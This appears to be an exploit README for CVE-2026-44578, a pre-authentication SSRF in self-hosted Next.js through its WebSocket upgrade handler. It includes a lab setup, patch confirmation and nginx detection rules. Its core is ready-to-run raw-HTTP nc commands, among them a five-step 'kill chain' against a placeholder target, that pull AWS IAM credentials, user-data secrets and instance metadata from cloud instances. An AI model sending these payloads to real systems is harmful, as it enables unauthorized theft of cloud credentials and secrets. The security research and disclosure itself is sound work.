Share
## https://sploitus.com/exploit?id=BC8945AC-A2B7-5A42-9896-748376F17A3D
# CVE-2026-44578 โ€” Next.js WebSocket Upgrade SSRF

Pre-authentication Server-Side Request Forgery in Next.js self-hosted deployments.  
A single crafted HTTP request extracts AWS credentials, secrets, and internal service data from localhost:80.

| Field | Value |
|-------|-------|
| CVE | [CVE-2026-44578](https://nvd.nist.gov/vuln/detail/CVE-2026-44578) |
| GHSA | [GHSA-c4j6-fc7j-m34r](https://github.com/advisories/GHSA-c4j6-fc7j-m34r) |
| CVSS 3.1 | **8.6 HIGH** (`AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N`) |
| Type | SSRF (CWE-918) |
| Affected | Next.js 13.4.13 โ€“ 15.5.15, 16.0.0 โ€“ 16.2.4 (self-hosted only) |
| Fixed | 15.5.16, 16.2.5 |
| Auth Required | None |
| User Interaction | None |

---

## Vulnerability

The WebSocket upgrade handler in `router-server.ts` calls `proxyRequest()` whenever `parsedUrl.protocol` is truthy โ€” without checking `finished` and `statusCode` routing-completion flags that the HTTP handler had always enforced.

```diff
// router-server.ts โ€” upgrade handler
- if (parsedUrl.protocol) {
-   return await proxyRequest(req, socket, parsedUrl, head)

// fix (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+   if (!statusCode) {
+     return await proxyRequest(req, socket, parsedUrl, head)
+   }
+   return socket.end()
  }
```

After `normalizeRepeatedSlashes` collapses `http:///` to `http:/`, the hostname is null and http-proxy connects to **localhost:80** with the correct path. Any co-located service (cloud metadata, admin panels, internal APIs) is exposed.

---

## Exploit Command

```bash
printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\n\
Host: TARGET:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 TARGET 3000
```

> `curl` cannot send absolute-form URIs. Use raw TCP: `nc`, `ncat`, `socat`, or Python sockets.

---

## How It Works

```
Attacker                     Next.js (vuln)              localhost:80 (IMDS/service)
   |                              |                              |
   | GET http:///latest/meta-data/|                              |
   | Connection: Upgrade          |                              |
   | Upgrade: websocket           |                              |
   |----------------------------->|                              |
   |                              | url.parse -> protocol:'http' |
   |                              | "///" matches regex          |
   |                              | normalizeRepeatedSlashes     |
   |                              |   "http:///" -> "http:/"     |
   |                              | Returns: finished:true       |
   |                              |   statusCode:308             |
   |                              |   hostname:null              |
   |                              |                              |
   |                              | BUG: only checks protocol   |
   |                              | proxyRequest -> localhost:80 |
   |                              |   GET /latest/meta-data/     |
   |                              |----------------------------->|
   |                              |     200 OK + credentials     |
   |                              |<-----------------------------|
   |    200 OK + credentials      |                              |
   |<-----------------------------|                              |
```

---

## Lab Reproduction

### Prerequisites

- Docker + Docker Compose
- Python 3.10+
- `nc` (netcat)

### Setup

```bash
git clone https://github.com/dinosn/CVE-2026-44578.git
cd CVE-2026-44578/lab
./setup.sh
```

This starts 5 containers:

| Container | Role | Exposed |
|-----------|------|---------|
| `nextjs-vuln` | Next.js 15.5.15 (vulnerable) | localhost:3000 |
| `nextjs-fixed` | Next.js 15.5.16 (patched) | localhost:3001 |
| `imds-sidecar-vuln` | Fake AWS IMDSv1 sharing network with vuln | localhost:80 (from vuln's perspective) |
| `imds-sidecar-fixed` | Fake AWS IMDSv1 sharing network with fixed | localhost:80 (from fixed's perspective) |
| `internal-api` | Internal service mock | โ€” |

The IMDS sidecars use `network_mode: "service:nextjs-*"` so the fake metadata service is on `localhost:80` inside the Next.js container โ€” modeling a real cloud instance.

### Run the Exploit

```bash
# Full test suite (7 SSRF probes)
python3 ../exploit/poc.py -t http://localhost:3000 --test-all

# Single credential extraction
printf "GET http:///latest/meta-data/iam/security-credentials/NextjsAppRole HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000

# Confirm patched instance blocks it
python3 ../exploit/poc.py -t http://localhost:3001 --test-all
```

### Teardown

```bash
./teardown.sh
```

---

## Evidence

### 1. Lab Running

All containers up โ€” vulnerable (15.5.15) on :3000, patched (15.5.16) on :3001, IMDS sidecars sharing network namespaces.

![Lab Running](screenshots/01-lab-running.svg)

### 2. SSRF โ€” AWS Metadata Listing

Single request returns the full EC2 metadata directory (ami-id, instance-id, iam/, placement/, etc.)

![Metadata Listing](screenshots/02-ssrf-metadata-listing.svg)

### 3. SSRF โ€” IAM Credential Extraction

Full IAM credential set: `AccessKeyId`, `SecretAccessKey`, `Token`, and `Expiration`.

![IAM Credentials](screenshots/03-ssrf-iam-credentials.svg)

### 4. SSRF โ€” User-Data Secrets

EC2 user-data bootstrap script containing `DB_PASSWORD` and `API_KEY`.

![User-Data Secrets](screenshots/04-ssrf-user-data.svg)

### 5. SSRF โ€” Instance Identity

Instance ID extracted via the same SSRF vector.

![Instance ID](screenshots/05-ssrf-instance-id.svg)

### 6. Patched Instance โ€” Blocked

Same payload against Next.js 15.5.16. Connection closed immediately โ€” no data returned.

![Patched Blocked](screenshots/06-patched-blocked.svg)

### 7. IMDS Logs โ€” Proof of Server-Side Execution

The fake IMDS logs show GET requests arriving from `127.0.0.1` (the Next.js process), proving the SSRF is server-side.

![IMDS Logs](screenshots/07-imds-logs.svg)

### 8. Full PoC Suite โ€” Vulnerable (7/7 Confirmed)

All 7 SSRF tests return sensitive data on the vulnerable instance.

![Full Suite Vuln](screenshots/08-full-suite-vuln.svg)

### 9. Full PoC Suite โ€” Patched (0/7 Blocked)

All 7 tests blocked on the patched instance. Fix confirmed.

![Full Suite Patched](screenshots/09-full-suite-patched.svg)

---

## Kill Chain Payloads

```bash
# 1. List metadata categories
printf "GET http:///latest/meta-data/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

# 2. Instance ID
printf "GET http:///latest/meta-data/instance-id HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

# 3. Discover IAM role
printf "GET http:///latest/meta-data/iam/security-credentials/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

# 4. Extract IAM credentials
printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

# 5. User-data secrets
printf "GET http:///latest/user-data HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
```

Replace `T` with target host and `ROLE` with the IAM role name.

---

## Constraints

| Limitation | Detail |
|------------|--------|
| HTTP method | GET only |
| Target | localhost:80 (hostname stripped by normalization) |
| AWS IMDSv2 | Not exploitable (requires PUT) |
| GCP metadata | Not exploitable (rejects Upgrade header) |
| Vercel-hosted | Not affected |
| Behind reverse proxy | nginx/Caddy/HAProxy block absolute-form URIs |

---

## Detection & Mitigation

```nginx
# Nginx: reject absolute-form request URIs
if ($request_uri ~* "^https?://") {
    return 400;
}
```

On AWS: enforce IMDSv2 (`HttpTokens=required`).

Log signatures:
- `Failed to proxy http:/` โ€” proxy triggered but target unreachable
- The `http:///path` variant produces **no error log** โ€” monitor for WebSocket upgrades with `http:` in the request line

---

## References

| Source | Link |
|--------|------|
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-44578 |
| GHSA | https://github.com/advisories/GHSA-c4j6-fc7j-m34r |
| Fix commit | https://github.com/vercel/next.js/commit/c4f69086cc8dcbd81b1dbc321c98ea874d90d6f8 |
| Hadrian writeup | https://hadrian.io/blog/next-js-websocket-ssrf-unauthenticated-access-to-internal-resources-cve-2026-44578-2 |
| Public PoC (nextssrf) | https://github.com/ynsmroztas/nextssrf |

---

## Disclaimer

For authorized security testing, education, and defensive research only. Use only against systems you own or have explicit written permission to test.